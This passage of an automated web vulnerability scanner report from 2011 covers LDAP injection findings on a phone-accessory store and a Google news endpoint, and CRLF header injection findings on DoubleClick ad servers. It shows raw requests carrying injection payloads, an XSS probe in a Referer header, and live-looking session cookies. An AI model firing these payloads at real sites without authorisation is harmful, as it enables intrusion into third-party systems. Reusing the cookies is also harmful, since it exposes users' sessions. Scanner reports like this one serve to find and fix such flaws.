philly.com&c12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v13=a&v15=121548659&v16=Article&v17=http%3A//www.philly.com/philly/news/nation_world/121548659.html&v18=logged%20out&c21=First%20Visit&v21=Tuesday&c22=www.philly.com&v22=9%3A00AM&c23=philly%3Anews%3Anation_world&v23=Weekday&c28=New&c29=http%3A//www.philly.com/philly/news/nation_world/121548659.html&c30=logged%20out&c33=flash%2010&c35=silverlight%204.0&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1066&bh=967&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.philly.com
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; undefined_s=First%20Visit; s_nr=1305033090598

Response 2

HTTP/1.1 404 Not Found
Date: Tue, 10 May 2011 14:19:09 GMT
Server: Omniture DC/2.0.0
xserver: www639
Content-Length: 0
Content-Type: text/html

2.6. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The REST URL parameter 3 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

POST /content/customercare/*)(sn=* HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217
Content-Length: 69

data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5

Response 1

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:58 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<span class='customer_testimonials'>"Thanks again for your excellent customer care - I will be back to shop with your company again, without a doubt."<br />
- Matthew, TX
</span>
</div>
<div class='sidebar-fot'></div>
</div>
</div> 
</div> 
</div> 
</div> 
<div class='footer-wrapper'>
<div class='footer'>
<p>Copyright &copy 1999-2011 <a class='text_small' href='http://www.smartphoneexperts.com'>Smartphone Experts</a>. All rights reserved.
<a class='text_small' href='http://store.androidcentral.com/content/customercare/page-privacy.htm'>Privacy Policy</a>.
       <a class='text_small' href='http://store.androidcentral.com/motorola-droid-x-accessories.htm'>Motorola Droid X Accessories</a>.
   <p><I>Android and the Android Logo are trademarks or registered trademarks of Google, Inc. in the United States and other countries.</p>
</div>
</div>
</div> 
<script type='text/javascript'>
jQuery(function() {
   var url = window.location.href;url = url.substr(url.lastIndexOf("/") + 1);
   if (url!='') $('.header-menu1').find("a[href*='" + url + "']").addClass('active');
});
</script>

<script type='text/javascript'>
jQuery(function() {

// Clue Tip
   $('a.tips').cluetip();
   $('a.tips_cart:eq(0)').cluetip({
       width:340
   });
});

// Content Slider
try {
   featuredcontentglider.init({
       gliderid: 'fader', //ID of main glider container
       contentclass: 'fader-content', //Shared CSS class name of each glider content
       togglerid: 'fader-toggle', //ID of toggler container
       remotecontent: '', //Get gliding contents from external file on server? 'filename' or '' to disable
       selected: 0, //Default selected content index (0=1st)
       persiststate: false, //Remember last content shown within browser session (true/false)?
       speed: 500, //Glide animation duration (in milliseconds)
       autorotate: true, //Auto rotate contents (true/false)?
       autorotateconfig: [5000,500] //if auto rotate en
...[SNIP]...

Request 2

POST /content/customercare/*)!(sn=* HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217
Content-Length: 69

data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5

Response 2

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:58 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<span class='customer_testimonials'>"You are the most customer service friendly site I have bought from in months. I am going to enjoy ordering supplies from you in the future."<br />
- Joseph, VA
</span>
</div>
<div class='sidebar-fot'></div>
</div>
</div> 
</div> 
</div> 
</div> 
<div class='footer-wrapper'>
<div class='footer'>
<p>Copyright &copy 1999-2011 <a class='text_small' href='http://www.smartphoneexperts.com'>Smartphone Experts</a>. All rights reserved.
<a class='text_small' href='http://store.androidcentral.com/content/customercare/page-privacy.htm'>Privacy Policy</a>.
       <a class='text_small' href='http://store.androidcentral.com/motorola-droid-x-accessories.htm'>Motorola Droid X Accessories</a>.
   <p><I>Android and the Android Logo are trademarks or registered trademarks of Google, Inc. in the United States and other countries.</p>
</div>
</div>
</div> 
<script type='text/javascript'>
jQuery(function() {
   var url = window.location.href;url = url.substr(url.lastIndexOf("/") + 1);
   if (url!='') $('.header-menu1').find("a[href*='" + url + "']").addClass('active');
});
</script>

<script type='text/javascript'>
jQuery(function() {

// Clue Tip
   $('a.tips').cluetip();
   $('a.tips_cart:eq(0)').cluetip({
       width:340
   });
});

// Content Slider
try {
   featuredcontentglider.init({
       gliderid: 'fader', //ID of main glider container
       contentclass: 'fader-content', //Shared CSS class name of each glider content
       togglerid: 'fader-toggle', //ID of toggler container
       remotecontent: '', //Get gliding contents from external file on server? 'filename' or '' to disable
       selected: 0, //Default selected content index (0=1st)
       persiststate: false, //Remember last content shown within browser session (true/false)?
       speed: 500, //Glide animation duration (in milliseconds)
       autorotate: true, //Auto rotate contents (true/false)?
       autorotateconfig: [5000
...[SNIP]...

2.7. http://www.google.com/uds/GnewsSearch [sig parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.google.com
Path:	/uds/GnewsSearch

Issue detail

The sig parameter appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the sig parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /uds/GnewsSearch?callback=google.search.NewsSearch.RawCompletion&context=0&rsz=small&hl=en&gss=.com&sig=*)(sn=*&q=rick%20santorum&key=internal-zeitgeist&v=1.0&nocache=1305033071811 HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/trends/hottrends?q=rick+santorum&date=2011-5-10&sa=X
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=0772c9d5ef13aaaf:U=e1fa6a1c985d530f:FF=0:TM=1303071569:LM=1304695017:GM=1:S=TtNIJs_fkMoJMWwR; NID=46=aQQFw_m5MgodDdHJ1xVbKTCbuualenKfe8EiKcwMEGKFPqWsF0-4XtTZsPXY9cXQIj1W8o_Jqj5uAaJQPmNYlIVf6mB-ckZkZlODBxKm5uH1Nl9YbBSq68wtGrbU0m5F

Response 1

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Tue, 10 May 2011 13:15:33 GMT
Content-Type: text/javascript; charset=utf-8
X-Backend-Content-Length: 13035
X-Embedded-Status: 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 11626

google.search.NewsSearch.RawCompletion('0', {"results":[{"GsearchResultClass":"GnewsSearch","clusterUrl":"http://news.google.com/news/story?ncl\u003ddVOF1zm7u7feiNMJWLE_5O7d-AFxM\u0026hl\u003den\u0026
...[SNIP]...
u003dT\u0026ct\u003dus/0-0-0\u0026fd\u003dS\u0026url\u003dhttp://www.historiccity.com/2011/staugustine/news/florida/lincoln-reagan-day-celebrated-weeks-14454\u0026cid\u003d17593892923622\u0026ei\u003ddTrJTYi4JJvo4AGThey6AQ\u0026usg\u003dAFQjCNFV2Bm3BmsZcnlXnv_dmgR2jN6jSQ","language":"en","image":{"url":"http://static.guim.co.uk/sys-images/Guardian/Pix/red/blue_pics/2011/05/09/hermancain_460x276.jpg","tbUrl":"http://nt2.ggpht.com/news/tbn/QmqXc78UCr4J","originalContextUrl":"http://www.guardian.co.uk/commentisfree/cifamerica/2011/may/09/herman-cain-republicans-2012","publisher":"The Guardian","tbWidth":80,"tbHeight":48},"relatedStories":[{"unescapedUrl":"http://www.catholic.org/politics/story.php?id\u003d41352","url":"http%3A%2F%2Fwww.catholic.org%2Fpolitics%2Fstory.php%3Fid%3D41352","title":"Campaign 2012, South Carolina, \u003cb\u003eRick Santorum\u003c/b\u003e and the Kentucky Derby","titleNoFormatting":"Campaign 2012, South Carolina, Rick Santorum and the Kentucky Derby","location":"","publisher":"Catholic Online","publishedDate":"Mon, 09 May 2011 13:38:24 -0700","signedRedirectUrl":"http://news.google.com/news/url?sa\u003dT\u0026ct\u003dus/0-0-1\u0026fd\u003dS\u0026url\u003dhttp://www.catholic.org/politics/story.php%3Fid%3D41352\u0026cid\u003d17593892923622\u0026ei\u003ddTrJTYi4JJvo4AGThey6AQ\u0026usg\u003dAFQjCNG-asSc3MItQHzEeDxo3X8rt2C9mw","language":"en"},{"unescapedUrl":"http://www.philly.com/philly/news/nation_world/121548659.html","url":"http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html","title":"\u003cb\u003eSantorum\u003c/b\u003e goes to dinner and comes up with a win | Philadelphia Inquirer | 2011 \u003cb\u003e...\u003c/b\u003e","titleNoFormatting":"Santorum goes to dinner and comes up with a win | Philadelphia Inquirer | 2011 ...","location":"","publisher":"Philadelphia Inquirer","publishedDate":"Tue, 10 May 2011 00:15:50 -0700","signedRedirectUrl":"http://news.google.com/news/url?sa\u003dT\u0026ct\u003dus/0-0-2\u0026fd\u003dS\u0026url\u003dhttp://www.philly.com/philly/news/nation_world/121548659.html\u0026cid\u003d17593892923622\u0026ei\u003ddTrJTYi4JJvo4AGThey6AQ\u0026usg\u003dAFQjCNEW5awmdDbyS5K44e7qFQU5sKhDOg","language"
...[SNIP]...

Request 2

GET /uds/GnewsSearch?callback=google.search.NewsSearch.RawCompletion&context=0&rsz=small&hl=en&gss=.com&sig=*)!(sn=*&q=rick%20santorum&key=internal-zeitgeist&v=1.0&nocache=1305033071811 HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/trends/hottrends?q=rick+santorum&date=2011-5-10&sa=X
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=0772c9d5ef13aaaf:U=e1fa6a1c985d530f:FF=0:TM=1303071569:LM=1304695017:GM=1:S=TtNIJs_fkMoJMWwR; NID=46=aQQFw_m5MgodDdHJ1xVbKTCbuualenKfe8EiKcwMEGKFPqWsF0-4XtTZsPXY9cXQIj1W8o_Jqj5uAaJQPmNYlIVf6mB-ckZkZlODBxKm5uH1Nl9YbBSq68wtGrbU0m5F

Response 2

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Tue, 10 May 2011 13:15:34 GMT
Content-Type: text/javascript; charset=utf-8
X-Backend-Content-Length: 13110
X-Embedded-Status: 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 11604

google.search.NewsSearch.RawCompletion('0', {"results":[{"GsearchResultClass":"GnewsSearch","clusterUrl":"http://news.google.com/news/story?ncl\u003ddVOF1zm7u7feiNMJWLE_5O7d-AFxM\u0026hl\u003den\u0026
...[SNIP]...
u003dT\u0026ct\u003dus/0-0-0\u0026fd\u003dS\u0026url\u003dhttp://www.historiccity.com/2011/staugustine/news/florida/lincoln-reagan-day-celebrated-weeks-14454\u0026cid\u003d17593892923622\u0026ei\u003ddjrJTZDQKYiy4QHS3JEW\u0026usg\u003dAFQjCNFIG_eEZ63WAnuMui53lyPy6cVBDQ","language":"en","image":{"url":"http://static.guim.co.uk/sys-images/Guardian/Pix/red/blue_pics/2011/05/09/hermancain_460x276.jpg","tbUrl":"http://nt2.ggpht.com/news/tbn/QmqXc78UCr4J","originalContextUrl":"http://www.guardian.co.uk/commentisfree/cifamerica/2011/may/09/herman-cain-republicans-2012","publisher":"The Guardian","tbWidth":80,"tbHeight":48},"relatedStories":[{"unescapedUrl":"http://www.catholic.org/politics/story.php?id\u003d41352","url":"http%3A%2F%2Fwww.catholic.org%2Fpolitics%2Fstory.php%3Fid%3D41352","title":"Campaign 2012, South Carolina, \u003cb\u003eRick Santorum\u003c/b\u003e and the Kentucky Derby","titleNoFormatting":"Campaign 2012, South Carolina, Rick Santorum and the Kentucky Derby","location":"","publisher":"Catholic Online","publishedDate":"Mon, 09 May 2011 13:38:24 -0700","signedRedirectUrl":"http://news.google.com/news/url?sa\u003dT\u0026ct\u003dus/0-0-1\u0026fd\u003dS\u0026url\u003dhttp://www.catholic.org/politics/story.php%3Fid%3D41352\u0026cid\u003d17593892923622\u0026ei\u003ddjrJTZDQKYiy4QHS3JEW\u0026usg\u003dAFQjCNGNswtTd2d6H0pwA9rr9BlmH0BE1Q","language":"en"},{"unescapedUrl":"http://www.philly.com/philly/news/nation_world/121548659.html","url":"http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html","title":"\u003cb\u003eSantorum\u003c/b\u003e goes to dinner and comes up with a win | Philadelphia Inquirer | 2011 \u003cb\u003e...\u003c/b\u003e","titleNoFormatting":"Santorum goes to dinner and comes up with a win | Philadelphia Inquirer | 2011 ...","location":"","publisher":"Philadelphia Inquirer","publishedDate":"Tue, 10 May 2011 00:15:50 -0700","signedRedirectUrl":"http://news.google.com/news/url?sa\u003dT\u0026ct\u003dus/0-0-2\u0026fd\u003dS\u0026url\u003dhttp://www.philly.com/philly/news/nation_world/121548659.html\u0026cid\u003d17593892923622\u0026ei\u003ddjrJTZDQKYiy4QHS3JEW\u0026usg\u003dAFQjCNEJXRApr4I_c9dhmt09Y2chtzWirg","language":"en"}
...[SNIP]...

3. HTTP header injection previous next
There are 48 instances of this issue:

http://ad.doubleclick.net/N6496/adj/gather.com/ [REST URL parameter 1]
http://ad.doubleclick.net/N6496/adj/gather.com/ [REST URL parameter 2]
http://ad.doubleclick.net/ad/N3671.277003.NETSHELTER/B5398653.20 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N4478.netshelter.netOX2611/B5176383.13 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N5371.131643.MEEBO.COM/B5369958.2 [REST URL parameter 1]
http://ad.doubleclick.net/ad/huffpost.boomerangpixel/bingmodule [REST URL parameter 1]
http://ad.doubleclick.net/ad/q1.philly/news [REST URL parameter 1]
http://ad.doubleclick.net/adi/N1558.CasaleMedia/B4461671.2 [REST URL parameter 1]
http://ad.doubleclick.net/adi/N3285.casalemedia/B2343920.400 [REST URL parameter 1]
http://ad.doubleclick.net/adi/N4441.contextweb.com/B5238188.3 [REST URL parameter 1]
http://ad.doubleclick.net/adi/N6344.126328.SPECIFICMEDIA/B5358490.6 [REST URL parameter 1]
http://ad.doubleclick.net/adi/N6543.131803.TURN.COM/B5513576.10 [REST URL parameter 1]
http://ad.doubleclick.net/adi/huffpost.politics/news [REST URL parameter 1]
http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [REST URL parameter 1]
http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [REST URL parameter 1]
http://ad.doubleclick.net/adj/N3175.128132.INTERCLICK/B4640114.13 [REST URL parameter 1]
http://ad.doubleclick.net/adj/N3175.272756.AOL-ADVERTISING2/B4640114.5 [REST URL parameter 1]
http://ad.doubleclick.net/adj/N5776.126265.CASALEMEDIA/B5120103.7 [REST URL parameter 1]
http://ad.doubleclick.net/adj/contentnext.ilm/paid [REST URL parameter 1]
http://ad.doubleclick.net/adj/huffpost.politics/longpost [REST URL parameter 1]
http://ad.doubleclick.net/adj/huffpost.politics/news [REST URL parameter 1]
http://ad.doubleclick.net/adj/huffpost.politics/news/curtain [REST URL parameter 1]
http://ad.doubleclick.net/adj/ns.androidcentral/general/archive [REST URL parameter 1]
http://ad.doubleclick.net/adj/ph.admin/adsense [REST URL parameter 1]
http://ad.doubleclick.net/adj/ph.admin/register [REST URL parameter 1]
http://ad.doubleclick.net/adj/ph.mobile/adsense [REST URL parameter 1]
http://ad.doubleclick.net/adj/ph.news/adsense [REST URL parameter 1]
http://ad.doubleclick.net/adj/ph.news/nation_world [REST URL parameter 1]
http://ad.doubleclick.net/adj/q1.philly/news [REST URL parameter 1]
http://ad.doubleclick.net/adj/zdgeek.dart/geek-cetera [REST URL parameter 1]
http://ad.doubleclick.net/pfadx/philly_cim/ [dcove parameter]
http://ad.doubleclick.net/pfadx/philly_cim/ [name of an arbitrarily supplied request parameter]
http://ad.doubleclick.net/pfadx/philly_cim/ [secure parameter]
http://amch.questionmarket.com/adscgen/sta.php [code parameter]
http://amch.questionmarket.com/adscgen/sta.php [site parameter]
http://bidder.mathtag.com/iframe/notify [exch parameter]
http://bidder.mathtag.com/notify [exch parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter]
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter]
http://c7.zedo.com/utils/ecSet.js [v parameter]
http://d.xp1.ru4.com/activity [redirect parameter]
http://politics.gather.com/js/commenting.js [REST URL parameter 2]
http://politics.gather.com/js/siteReport.js.jspf [REST URL parameter 2]
http://politics.gather.com/viewArticle.action [REST URL parameter 1]
http://tacoda.at.atwola.com/rtx/r.js [N cookie]
http://tacoda.at.atwola.com/rtx/r.js [si parameter]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

3.1. http://ad.doubleclick.net/N6496/adj/gather.com/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/N6496/adj/gather.com/

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 53a62%0d%0a763681015b6 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /53a62%0d%0a763681015b6/adj/gather.com/;tile=1;sz=728x90;ord=9449814500592618;qcseg=D;? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/53a62
763681015b6/adj/gather.com/;tile=1;sz=728x90;ord=9449814500592618;qcseg=D;:
Date: Tue, 10 May 2011 14:11:31 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.2. http://ad.doubleclick.net/N6496/adj/gather.com/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/N6496/adj/gather.com/

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 44005%0d%0a76d46cccbc5 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /N6496/44005%0d%0a76d46cccbc5/gather.com/;groupname=politics;kw=politics,rick+santorum,debra+burlingame,bin+laden,obama,2012,eric+holder,cia,;adSense=yes;tile=4;sz=468x60;ord=699316430836916;qcseg=D;qcseg=T;qcseg=4078;qcseg=4077;qcseg=4076;qcseg=4075;qcseg=4072;qcseg=4071;qcseg=4067;? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/44005
76d46cccbc5/gather.com/;groupname=politics;kw=politics,rick santorum,debra burlingame,bin laden,obama,2012,eric holder,cia,;adSense=yes;tile=4;sz=468x60;ord=699316430836916;qcseg=D;qcseg=T;qcseg=4078;qcseg=4077;qcseg=4076;qcseg=4075;qcseg=4072;qcseg=4071;qcseg=4067;:
Date: Tue, 10 May 2011 13:20:07 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.3. http://ad.doubleclick.net/ad/N3671.277003.NETSHELTER/B5398653.20 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N3671.277003.NETSHELTER/B5398653.20

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 5c8a0%0d%0ac9145ac5983 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /5c8a0%0d%0ac9145ac5983/N3671.277003.NETSHELTER/B5398653.20;sz=1x1;pc=[TPAS_ID];ord=[timestamp]?882012667832896100 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/5c8a0
c9145ac5983/N3671.277003.NETSHELTER/B5398653.20;sz=1x1;pc=[TPAS_ID];ord=[timestamp]:
Date: Tue, 10 May 2011 13:48:20 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.4. http://ad.doubleclick.net/ad/N4478.netshelter.netOX2611/B5176383.13 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N4478.netshelter.netOX2611/B5176383.13

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 8b32f%0d%0a53cbf34ed88 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /8b32f%0d%0a53cbf34ed88/N4478.netshelter.netOX2611/B5176383.13;sz=1x1;pc=[TPAS_ID];ord=1305033278925? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/8b32f
53cbf34ed88/N4478.netshelter.netOX2611/B5176383.13;sz=1x1;pc=[TPAS_ID];ord=1305033278925:
